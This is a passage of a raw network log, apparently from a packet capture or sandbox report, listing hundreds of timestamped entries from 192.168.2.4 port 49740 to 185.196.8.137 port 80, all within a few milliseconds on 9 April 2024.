Apr 9, 2024 14:54:04.594774008 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.594794989 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.594829082 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.594856024 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.594871998 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.594899893 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.594922066 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.594945908 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.594968081 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.595233917 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.595252037 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.595287085 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.595308065 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.595340014 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.595350027 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.595379114 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.595400095 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.595422983 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.595443010 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.595467091 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.595489979 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.595520973 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.595542908 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.595570087 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.595590115 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.595616102 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.595731974 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.595757961 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.595782042 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.595805883 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.595825911 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.595850945 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.595922947 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.595949888 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.595978022 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.596004009 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.596024990 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.596111059 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.596151114 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.596174002 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.596199989 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.596312046 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.596343040 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.596363068 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.596383095 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.596410990 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.596420050 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.596446991 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.596468925 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.596489906 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.596509933 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.596530914 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.596551895 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.596565962 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.596587896 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.596607924 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.596631050 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.596653938 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.596673012 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.596690893 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.596713066 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.596731901 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.596750975 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.596769094 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.596791029 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.596808910 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.596831083 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.596851110 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.596869946 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.596885920 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.596904993 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.596927881 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.596944094 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.596966028 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.596986055 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.597007036 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.597033024 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.597053051 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.597069979 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.597090960 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.597111940 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.597134113 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.597157001 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.597171068 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.597193003 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.597214937 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.597233057 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.597256899 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.597268105 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.597296953 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.597318888 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.597340107 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.597364902 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.597371101 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.597397089 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.597419024 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.597434044 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.597457886 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.597474098 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.597495079 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.597533941 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.597533941 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.597544909 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.597565889 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.597585917 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.597605944 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.597655058 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.597666025 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.597687006 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.597704887 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.597718954 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.597759962 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.597785950 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.597800970 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.597817898 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.597841024 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.597857952 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.597872019 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.597888947 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.597908020 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.597919941 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.597943068 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.597954035 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.597976923 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.597986937 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.598011017 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.598026037 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.598047018 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.598063946 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.598081112 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.598093033 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.598115921 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.598133087 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.598150969 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.598171949 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.598181963 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.598201990 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.598216057 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.598233938 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.598253965 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.598274946 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.598294020 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.598314047 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.598328114 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.598350048 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.598362923 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.598386049 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.598396063 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.598419905 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.598440886 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.598447084 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.598469973 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.598484993 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.598504066 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.598529100 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.598546982 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.598567963 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.598577023 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.598602057 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.598614931 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.598635912 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.598648071 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.598676920 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.598690987 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.598730087 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.598730087 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.598740101 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.598759890 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.598781109 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.598792076 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.598846912 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.598862886 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.598881960 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.598896980 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.598915100 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.598932981 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.598952055 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.598963022 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.598985910 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.598999977 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.599020958 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.599033117 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.599056005 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.599076986 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.599092007 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.599107027 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.599128962 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.599148989 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.599167109 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.599184036 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.599196911 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.599217892 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.599231005 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.599251986 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.599262953 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.599283934 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.599307060 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.599322081 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.599342108 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.599354982 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.599375010 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.599395037 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.599406958 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.599426031 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.599446058 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.599459887 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.599478960 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.599493027 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.599515915 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.599525928 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.599550009 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.599566936 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.599586964 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.599603891 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.599649906 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.599666119 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.599684954 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.599701881 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.599719048 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.599739075 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.599755049 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.599771976 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.599786043 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.599808931 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.599828005 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.599843025 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.599863052 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.599885941 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.599935055 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.599945068 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.599967957 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.599983931 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.600008011 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.600028038 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.600044966 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.600054979 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.600078106 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.600097895 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.600111008 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.600131035 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.600142956 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.600163937 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.600176096 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.600198030 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.600212097 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.600231886 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.600255966 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.600269079 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.600291014 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.600305080 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.600325108 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.600339890 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.600362062 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.600379944 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.600399971 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.600418091 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.600434065 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.600445032 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.600467920 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.600490093 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.600497961 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.600519896 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.600534916 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.600554943 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.600570917 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.600589037 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.600611925 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.600621939 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.600647926 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.600662947 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.600680113 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.600692987 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.600716114 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.600730896 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.600747108 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.600759983 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.600781918 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.600797892 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.600827932 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.600841045 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.600863934 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.600884914 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.600900888 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.600919008 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.600933075 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.600954056 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.600970984 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.600996971 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.601012945 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.601033926 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.601049900 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.601067066 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.601094007 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.601118088 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.601128101 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.601150036 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.601185083 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.601185083 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.601202011 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.601219893 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.601227999 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.601252079 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.601265907 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.601290941 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.601308107 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.601356983 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.601371050 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.601392984 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.601414919 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.601428986 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.601449966 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.601465940 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.601486921 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.601500034 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.601519108 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.601538897 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.601556063 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.601569891 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.601589918 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.601603985 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.601624012 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.601644039 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.601664066 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.601684093 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.601701021 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.601715088 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.601733923 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.601749897 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.601769924 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.601783991 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.601800919 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.601815939 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.601834059 CEST	49740	80	192.168.2.4	185.196.8.137
